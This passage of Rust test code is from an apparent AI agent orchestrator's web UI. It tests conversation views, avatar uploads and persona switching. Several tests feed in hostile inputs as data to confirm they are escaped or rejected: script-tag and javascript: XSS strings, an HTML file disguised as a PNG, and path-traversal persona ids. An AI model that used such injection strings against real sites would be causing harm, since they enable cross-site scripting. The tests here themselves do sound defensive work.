13894 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
13897 let view = TalkView::with_config(
13898 ui.talks.get(&id).unwrap(),
13899 false,
13900 None,
13901 &ui.home,
13902 &ui.references,
13903 );
13904 assert_eq!(view.turn_messages_md[1][0], queued_md);
13905 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13906 assert!(
13907 !view.talk.turns[2].messages[0]
13908 .reply
13909 .as_ref()
13910 .unwrap()
13911 .excerpt
13912 .contains("automatic report")
13913 );
13914 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13915 }
13916
13917 #[tokio::test]
13918 async fn consultation_display_hides_directives_in_queue_and_history() {
13919 for node in [
13920 "implement",
13921 crate::land::APPROVAL_NODE,
13922 crate::github_text::ASK_NODE,
13923 ] {
13924 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13925 let mut question = Question::new(
13926 "run-123".into(),
13927 node.into(),
13928 "seat-1".into(),
13929 "Which backend?".into(),
13930 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13931 vec!["SQLite".into(), "Redis".into()],
13932 );
13933 ui.questions.put(&mut question).unwrap();
13934 let body = crate::prompt::chat_consult(&question);
13935 let mut conversation = ui.talks.get(&id).unwrap();
13936 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13937 assert!(
13938 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13939 );
13940 conversation = ui.talks.get(&id).unwrap();
13941 assert_eq!(conversation.pending_messages[0].body, body);
13942 assert!(body.contains("magi answer"));
13943 let mut legacy_pending = conversation.clone();
13944 legacy_pending.pending_messages[0].display = None;
13945 let legacy_view =
13946 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13947 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13948 assert!(legacy_md.contains("Question consultation"));
13949 assert!(!legacy_md.contains("magi answer"));
13950 let view =
13951 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13952 assert!(
13953 view.turn_messages_md[0][0].is_none(),
13954 "operator copy stays literal"
13955 );
13956 let queued_md = view.pending_messages_md[0].clone().unwrap();
13957 let rendered = serde_json::to_string(&queued_md).unwrap();
13958 for visible in [
13959 "Which backend?",
13960 "Context",
13961 "storage",
13962 "SQLite",
13963 "Redis",
13964 "<script>literal</script>",
13965 ] {
13966 assert!(rendered.contains(visible), "missing {visible}");
13967 }
13968 for directive in [
13969 "What to do",
13970 "magi answer",
13971 "Never answer it yourself",
13972 "Do not edit the repository",
13973 ] {
13974 assert!(!rendered.contains(directive), "exposed {directive}");
13975 }
13976 assert_eq!(
13977 view.talk.pending_messages[0].display,
13978 Some(crate::prompt::chat_consult_display(&question))
13979 );
13980 talk::drain(&mut conversation, &ui.talks).unwrap();
13981 let view =
13982 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13983 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13984 assert_eq!(conversation.turns[1].messages[0].body, body);
13985
13986 conversation.turns[1].messages[0].display = None;
13989 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13990 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13991 assert!(legacy.contains("Question consultation"));
13992 assert!(!legacy.contains("magi answer"));
13993 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13994 }
13995 }
13996
13997 #[test]
13998 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13999 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14000 let (body, mut display) =
14001 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14002 display.facts = facts.into();
14003 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14004 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14005 let json = serde_json::to_string(&nodes).unwrap();
14006 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14007 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14008 }
14009 assert!(json.contains("<script>alert(1)</script>"));
14010 assert!(!json.contains("javascript:"));
14011 assert!(!json.contains("Tell the operator"));
14012 assert!(!json.contains("untrusted"));
14013 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14014 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14015 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14016 assert_eq!(
14017 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14018 md::to_nodes("# Status", &md::ImageBase::None),
14019 );
14020 }
14021
14022 #[tokio::test]
14023 async fn notification_display_recovers_exact_legacy_completion_references() {
14024 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14025 let mut conversation = ui.talks.get(&id).unwrap();
14026 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14027 id: "task-123",
14028 title: "Change",
14029 status: "done",
14030 reason: None,
14031 run: Some("run-123"),
14032 pr: None,
14033 summary: Some("Merge state unknown"),
14034 });
14035 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14036 conversation.turns[0].sender = None;
14037 conversation.turns[0].messages.clear();
14038 conversation.turns[0].breaks = None;
14039 conversation.pending = body.clone();
14040 conversation
14041 .completion_notices
14042 .push(crate::chat_notify::CompletionReference {
14043 task: "task-123".into(),
14044 run: Some("run-123".into()),
14045 notice: body.clone(),
14046 });
14047 ui.talks.put(&mut conversation).unwrap();
14048 let view = TalkView::with_config(
14049 ui.talks.get(&id).unwrap(),
14050 false,
14051 None,
14052 &ui.home,
14053 &ui.references,
14054 );
14055 assert_eq!(
14056 view.talk.turns[0].messages[0].display,
14057 Some(display.clone())
14058 );
14059 assert_eq!(view.talk.pending_messages[0].display, Some(display));
14060 assert_eq!(
14061 view.talk.turns[0].messages[0].sender,
14062 Some(talk::Sender::Magi)
14063 );
14064 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14065 conversation.completion_notices[0]
14066 .notice
14067 .push_str("different");
14068 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14069 assert!(view.talk.turns[0].messages.is_empty());
14070 assert!(view.talk.pending_messages.is_empty());
14071 }
14072
14073 #[tokio::test]
14074 async fn avatar_settings_report_states_and_inherit_after_corruption() {
14075 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14076 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14077 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14078 ))
14079 .await;
14080 let path = avatar_setting_path(home.path(), Some("rei"));
14081 let orphan = avatar_setting_path(home.path(), Some("removed"));
14082 save_icon_file(&orphan, icon).unwrap();
14083 for (saved, expected) in [
14084 (icon, "custom"),
14085 ("builtin", "builtin"),
14086 ("data:image/png;base64,!!!!", "inherit"),
14087 ("data:image/png;base64,PGh0bWw+", "inherit"),
14088 ("/tmp/avatar.png", "inherit"),
14089 ] {
14090 atomic_icon_write(&path, saved).unwrap();
14091 let catalog =
14092 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14093 .await
14094 .unwrap()
14095 .0;
14096 let personas = catalog["personas"].as_array().unwrap();
14097 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14098 assert_eq!(rei["override_state"], expected);
14099 assert_eq!(rei["has_config_icon"], true);
14100 assert_eq!(rei["is_orphan"], false);
14101 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14102 assert_eq!(removed["override_state"], "custom");
14103 assert_eq!(removed["is_orphan"], true);
14104 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14105 assert_eq!(default["override_state"], "inherit");
14106 assert_eq!(default["has_config_icon"], false);
14107 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14108 assert_eq!(
14109 effective.as_deref(),
14110 Some(if expected == "builtin" { "" } else { icon })
14111 );
14112 }
14113 }
14114
14115 #[tokio::test]
14116 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14117 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14118 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14119 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14120 ))
14121 .await;
14122 let target = |id: Option<&str>| AvatarSettingsQuery {
14123 persona: id.map(str::to_owned),
14124 ..Default::default()
14125 };
14126 let original_config = config_for(&repo).await.unwrap();
14127 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14128 let original_prompt = persona::section_for(&original_persona, None);
14129 let before = talk_detail(State(ui.clone()), Path(id.clone()))
14130 .await
14131 .unwrap()
14132 .0;
14133 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14134 let _ = avatar_settings_put(
14135 State(ui.clone()),
14136 Query(target(persona)),
14137 Json(MagiIconUpload { icon: icon.into() }),
14138 )
14139 .await
14140 .unwrap();
14141 let path = avatar_setting_path(home.path(), persona);
14142 assert!(path.starts_with(home.path().join("avatars")));
14143 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14144 for bad in [
14145 "/tmp/image.png".to_owned(),
14146 "data:image/png;base64,!!!!".to_owned(),
14147 "data:image/png;base64,PGh0bWw+".to_owned(),
14148 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14149 format!(
14150 "data:image/png;base64,{}",
14151 "A".repeat(persona_icon::ICON_MAX_BYTES)
14152 ),
14153 ] {
14154 assert!(
14155 avatar_settings_put(
14156 State(ui.clone()),
14157 Query(target(persona)),
14158 Json(MagiIconUpload { icon: bad })
14159 )
14160 .await
14161 .is_err()
14162 );
14163 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14164 }
14165 }
14166 assert!(read_magi_icon(home.path()).is_none());
14167 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14168 let after = talk_detail(State(ui.clone()), Path(id.clone()))
14169 .await
14170 .unwrap()
14171 .0;
14172 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14173 assert_ne!(
14174 before
14175 .personas
14176 .iter()
14177 .find(|p| p.id == "magi")
14178 .unwrap()
14179 .avatar,
14180 after
14181 .personas
14182 .iter()
14183 .find(|p| p.id == "magi")
14184 .unwrap()
14185 .avatar
14186 );
14187 let restarted = Arc::new(Ui::new(
14188 Queue::at(home.path().join("queue")),
14189 Questions::at(home.path().join("questions")),
14190 Talks::at(home.path().join("talks")),
14191 home.path().join("runs"),
14192 home.path().to_owned(),
14193 repo,
14194 ));
14195 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14196 .await
14197 .unwrap()
14198 .0;
14199 assert!(
14200 catalog["personas"]
14201 .as_array()
14202 .unwrap()
14203 .iter()
14204 .any(|p| p["id"] == "../custom/日本語")
14205 );
14206 for expected in ["custom", "default", "rei"] {
14207 assert!(
14208 catalog["personas"]
14209 .as_array()
14210 .unwrap()
14211 .iter()
14212 .any(|p| p["id"] == expected)
14213 );
14214 }
14215 let response =
14216 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14217 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14218 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14219 .await
14220 .unwrap();
14221 assert_eq!(
14222 effective_persona_icon(home.path(), "rei", Some(icon)),
14223 Some(String::new())
14224 );
14225 let response = talk_avatar(
14226 State(restarted.clone()),
14227 Path(id.clone()),
14228 Query(AvatarQuery {
14229 persona: Some("rei".into()),
14230 ..Default::default()
14231 }),
14232 )
14233 .await
14234 .unwrap();
14235 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14236 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14237 .await
14238 .unwrap()
14239 .0;
14240 assert_ne!(
14241 after
14242 .personas
14243 .iter()
14244 .find(|p| p.id == "rei")
14245 .unwrap()
14246 .avatar,
14247 reset
14248 .personas
14249 .iter()
14250 .find(|p| p.id == "rei")
14251 .unwrap()
14252 .avatar
14253 );
14254 let mut inherit = target(Some("rei"));
14255 inherit.inherit = Some("1".into());
14256 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14257 .await
14258 .unwrap();
14259 assert_eq!(
14260 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14261 Some(icon)
14262 );
14263 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14264 .await
14265 .unwrap();
14266 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14267 assert_eq!(
14268 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14269 Some(icon)
14270 );
14271 let cfg = config_for(&ui.repo).await.unwrap();
14273 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14274 assert_eq!(persona::section_for(&resolved, None), original_prompt);
14275 assert!(!original_prompt.contains("data:image"));
14276 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14277 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14278 assert!(!stored.contains("data:image"));
14279 let mut orphan = ui.talks.get(&id).unwrap();
14280 orphan.persona = "../custom/日本語".into();
14281 let view = TalkView::with_config(
14282 orphan,
14283 false,
14284 Some(&cfg),
14285 home.path(),
14286 &id_links::IndexCache::default(),
14287 );
14288 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14289 }
14290
14291 #[tokio::test]
14292 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14293 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14294 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14295 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14296 let _ = magi_icon_put(
14297 State(ui.clone()),
14298 Json(MagiIconUpload { icon: icon.into() }),
14299 )
14300 .await
14301 .unwrap();
14302 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14303 assert_ne!(original, changed);
14304 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14305 let response = magi_avatar(
14306 State(ui.clone()),
14307 Query(AvatarQuery {
14308 persona: None,
14309 builtin: None,
14310 }),
14311 )
14312 .await;
14313 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14314 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14315 assert_eq!(
14316 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14317 "nosniff"
14318 );
14319 for bad in [
14320 "data:image/png;base64,PGh0bWw+".to_owned(),
14321 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14322 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14323 ] {
14324 assert!(save_magi_icon(home.path(), &bad).is_err());
14325 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14326 }
14327 let restarted = Arc::new(Ui::new(
14329 Queue::at(home.path().join("queue")),
14330 Questions::at(home.path().join("questions")),
14331 Talks::at(home.path().join("talks")),
14332 home.path().join("runs"),
14333 home.path().to_path_buf(),
14334 repo,
14335 ));
14336 assert_eq!(
14337 magi_icon_get(State(restarted.clone())).await.0["avatar"],
14338 changed
14339 );
14340 let view = TalkView::with_config(
14341 restarted.talks.get(&id).unwrap(),
14342 false,
14343 None,
14344 &restarted.home,
14345 &restarted.references,
14346 );
14347 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14348 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14349 let response = magi_avatar(
14350 State(ui.clone()),
14351 Query(AvatarQuery {
14352 persona: None,
14353 builtin: None,
14354 }),
14355 )
14356 .await;
14357 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14358 .await
14359 .unwrap();
14360 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14361 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14362 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14363 let _ = magi_icon_delete(State(ui)).await.unwrap();
14364 }
14365
14366 async fn avatar(
14368 ui: &Arc<Ui>,
14369 id: &str,
14370 persona: Option<&str>,
14371 builtin: bool,
14372 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14373 let res = talk_avatar(
14374 State(Arc::clone(ui)),
14375 Path(id.to_owned()),
14376 Query(AvatarQuery {
14377 persona: persona.map(str::to_owned),
14378 builtin: builtin.then(|| "1".to_owned()),
14379 }),
14380 )
14381 .await
14382 .expect("an avatar is never an error response");
14383 let h = res.headers();
14384 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14385 let nosniff = h
14386 .get(header::X_CONTENT_TYPE_OPTIONS)
14387 .is_some_and(|v| v == "nosniff");
14388 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14389 let status = res.status();
14390 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14391 .await
14392 .expect("body")
14393 .to_vec();
14394 (status, ct, nosniff, csp, body)
14395 }
14396
14397 fn tiny_png() -> Vec<u8> {
14398 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14399 b.extend_from_slice(&[0u8; 32]);
14400 b
14401 }
14402
14403 #[tokio::test]
14404 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14405 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14406 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14407 assert_eq!(res.status(), StatusCode::OK);
14408 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14409 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14410 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14411 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14412 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14413 .await
14414 .unwrap();
14415 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14416 assert_ne!(
14417 persona_icon::operator_svg(),
14418 persona_icon::builtin_svg("default")
14419 );
14420 }
14421
14422 #[tokio::test]
14423 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14424 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14425 for p in [
14426 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14427 ] {
14428 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14429 assert_eq!(status, StatusCode::OK, "{p}");
14430 assert_eq!(ct, "image/svg+xml", "{p}");
14431 assert!(nosniff && csp, "{p}");
14432 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14433 }
14434 let own = avatar(&ui, &id, None, false).await;
14436 let default = avatar(&ui, &id, Some("default"), false).await;
14437 assert_eq!(own.4, default.4);
14438 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14439 assert_eq!(unknown.1, "image/svg+xml");
14440 }
14441
14442 #[tokio::test]
14443 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14444 let dir = TempDir::new().expect("icons");
14445 let good = dir.path().join("good.png");
14446 std::fs::write(&good, tiny_png()).unwrap();
14447 let spoof = dir.path().join("spoof.png");
14448 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14449 let big = dir.path().join("big.png");
14450 let mut bytes = tiny_png();
14451 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14452 std::fs::write(&big, bytes).unwrap();
14453 let missing = dir.path().join("missing.png");
14454 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14455 let extra = format!(
14456 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14457 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14458 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14459 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14460 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14461 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14462 uri(&good),
14463 uri(&spoof),
14464 uri(&big),
14465 uri(&missing),
14466 );
14467 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14468
14469 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14470 assert_eq!(
14471 (status, ct.as_str(), nosniff),
14472 (StatusCode::OK, "image/png", true)
14473 );
14474 assert_eq!(body, tiny_png());
14475 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14476 assert_eq!(ct, "image/png", "data URI");
14477
14478 for p in ["misato", "asuka", "shinji", "magi"] {
14479 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14480 assert_eq!(
14481 (status, ct.as_str(), csp),
14482 (StatusCode::OK, "image/svg+xml", true),
14483 "{p}"
14484 );
14485 assert!(body.starts_with(b"<svg"), "{p}");
14486 }
14487 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14489 assert_eq!(ct, "image/svg+xml");
14490 }
14491
14492 #[tokio::test]
14493 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14494 let oversized = format!(
14495 "data:image/png;base64,{}",
14496 "A".repeat(persona_icon::ICON_MAX_BYTES)
14497 );
14498 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14499 let extra = format!(
14500 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14501 );
14502 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14503 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14504 .await
14505 .expect("detail with invalid icon");
14506 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14507 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14508 assert_eq!(status, StatusCode::OK);
14509 assert_eq!(ct, "image/svg+xml");
14510 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14511 let Json(view) = talk_persona(
14512 State(Arc::clone(&ui)),
14513 Path(id.clone()),
14514 Json(TalkPersona {
14515 persona: "custom".into(),
14516 }),
14517 )
14518 .await
14519 .expect("persona switch with invalid icon");
14520 assert_eq!(view.talk.persona, "custom");
14521 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14522 }
14523 }
14524
14525 #[tokio::test]
14526 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14527 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14528 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14529 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14530 assert_eq!(
14531 (status, ct.as_str(), nosniff, csp),
14532 (StatusCode::OK, "image/svg+xml", true, true)
14533 );
14534 }
14535
14536 #[tokio::test]
14537 async fn the_talk_view_carries_server_built_avatar_urls_only() {
14538 let (_t, _h, ui, id, _repo) =
14539 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14540 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14541 .await
14542 .expect("detail");
14543 let json = serde_json::to_string(&detail).unwrap();
14544 assert!(
14545 !json.contains("secret"),
14546 "the icon setting must not leak: {json}"
14547 );
14548 assert!(
14549 detail
14550 .view
14551 .persona_avatar
14552 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14553 );
14554 assert_eq!(
14555 detail.view.operator_avatar,
14556 format!(
14557 "/avatars/operator.svg?v={}",
14558 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14559 )
14560 );
14561 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14562 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14563 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14564 assert!(rei.avatar.contains("persona=rei&v="));
14565 assert_ne!(
14566 rei.avatar.split("&v=").nth(1),
14567 plain.avatar.split("&v=").nth(1)
14568 );
14569 }
14570
14571 #[tokio::test]
14572 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14573 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14574 let cfg = config_for(&repo).await.unwrap();
14575 for arrived in [false, true] {
14576 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14577 let observed = ui.queued_generation(&id);
14578 let talk = ui.talks.get(&id).unwrap();
14579 if arrived {
14580 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14581 }
14582 let mut settling = std::pin::pin!(settle_settings_turn(
14583 talk,
14584 ui.talks.clone(),
14585 cfg.clone(),
14586 id.clone(),
14587 turn,
14588 observed
14589 ));
14590 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14591 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14592 assert_eq!(first.is_pending(), arrived);
14593 if arrived {
14594 assert!(!settling.await);
14595 }
14596 assert!(!ui.is_thinking(&id));
14597 }
14598 }
14599
14600 #[tokio::test]
14601 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14602 let tmp = TempDir::new().expect("tempdir");
14603 let repo = tmp.path().join("repo");
14604 std::fs::create_dir_all(&repo).expect("repo dir");
14605 std::fs::write(
14606 repo.join("magi.toml"),
14607 format!(
14608 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14609 ),
14610 )
14611 .expect("write magi.toml");
14612 let home = TempDir::new().expect("temp home");
14613 let talks = Talks::at(home.path().join("talks"));
14614 let ui = Arc::new(
14615 Ui::new(
14616 Queue::at(home.path().join("queue")),
14617 Questions::at(home.path().join("questions")),
14618 talks.clone(),
14619 home.path().join("runs"),
14620 home.path().to_path_buf(),
14621 repo.clone(),
14622 )
14623 .with_worktrees_root(home.path().join("wt")),
14624 );
14625 let cfg = config_for(&repo).await.expect("discover config");
14626 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14627 let id = talk.id.clone();
14628 let call = |persona: &str| {
14629 talk_persona(
14630 State(Arc::clone(&ui)),
14631 Path(id.clone()),
14632 Json(TalkPersona {
14633 persona: persona.to_owned(),
14634 }),
14635 )
14636 };
14637
14638 let unknown = call("nobody").await.expect_err("unknown persona");
14639 assert_eq!(
14640 unknown.status,
14641 StatusCode::BAD_REQUEST,
14642 "{}",
14643 unknown.message
14644 );
14645
14646 {
14647 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14650 let busy = call("rei").await.expect_err("busy talk");
14651 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14652 assert!(
14653 busy.message.contains("a talk turn is running"),
14654 "{}",
14655 busy.message
14656 );
14657 drop(guard);
14658 }
14659 assert_eq!(talks.get(&id).expect("reload").persona, "");
14660
14661 let Json(view) = call("gendo").await.expect("switch to a configured persona");
14662 assert_eq!(view.talk.persona, "gendo");
14663 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14664 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14665 for chosen in ["default", "gendo", "rei", "gendo"] {
14667 let Json(view) = call(chosen).await.expect("immediate consecutive change");
14668 assert!(!view.thinking);
14669 assert!(!ui.is_thinking(&id));
14670 }
14671
14672 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14673 .await
14674 .expect("detail");
14675 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14676 assert_eq!(ids.first(), Some(&"default"));
14677 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14678
14679 let Json(view) = call("default").await.expect("back to default");
14680 assert_eq!(view.talk.persona, "");
14681
14682 let mut closed = talks.get(&id).expect("reload");
14683 talk::close(&mut closed, &talks).expect("close");
14684 let refused = call("rei").await.expect_err("closed talk");
14685 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14686 assert!(
14687 refused.message.contains("takes no more turns"),
14688 "{}",
14689 refused.message
14690 );
14691 }
14692
14693 #[tokio::test]
14694 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14695 let f = Fixture::start().await;
14696 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14697 let queue = f.queue();
14698 let mut mine = Task::new(
14699 "rename the loader".to_owned(),
14700 "rename the loader".to_owned(),
14701 PathBuf::from("/repo/magi"),
14702 Source::Agent {
14703 run: talk_id.clone(),
14704 node: "chat".to_owned(),
14705 },
14706 );
14707 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14708 assert_eq!(empty["task_progress"]["state"], "none");
14709 assert_eq!(empty["task_progress"]["total"], 0);
14710 queue.put(&mut mine).expect("file the task");
14711 let mut theirs = Task::new(
14712 "unrelated".to_owned(),
14713 "unrelated".to_owned(),
14714 PathBuf::from("/repo/magi"),
14715 Source::Human,
14716 );
14717 theirs.origin_chat = Some(talk_id.clone());
14719 queue.put(&mut theirs).expect("file the task");
14720
14721 let res = f.get(&format!("/api/talks/{talk_id}")).await;
14722 assert_eq!(res.status, 200, "{}", res.body);
14723 let body = res.json();
14724 assert_eq!(
14725 body["status"], "open",
14726 "filing a task does not close a talk"
14727 );
